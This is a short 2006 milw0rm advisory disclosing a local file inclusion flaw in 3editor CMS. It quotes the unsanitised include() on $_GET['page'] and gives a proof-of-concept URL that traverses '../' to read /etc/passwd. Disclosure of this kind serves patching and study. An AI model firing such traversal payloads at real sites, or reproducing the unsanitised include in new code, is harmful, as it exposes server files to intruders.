3editor CMS <= 0.42 (index.php) Local File Include Vulnerability

************************************************************************ *script Name: 3editor CMS (index.php) Local File Include Exploit * *Download:http://www.matteolucarelli.net/3editor/index.htm * *[Author : Dr Max Virus * *[Contact :drmaxvirus@w.cn * ************************************************************************ *Bug & Problem * *In file index.php Let&#39;s Take a look; * *if (!isset($_GET[&#39;page&#39;])) include(&#39;phplib/treeedit.php&#39;); * *else include(&#39;phplib/&#39;.$_GET[&#39;page&#39;]); * ************************************************************************ *As We can see the variable of page is not sanitized So attacker can * *apply his bug when: * *register_globals=on * ************************************************************************ *POC Example: * *http://[target]/[path]/index.php?page=../../../../../etc/passwd * ************************************************************************ *Thx:str0ke -koray -ajann -Timq -r0ut3r -All my Friends * *special gr33ts:AsianEagle -The master -Kacper -Hotturk * ************************************************************************ # milw0rm.com [2006-12-22]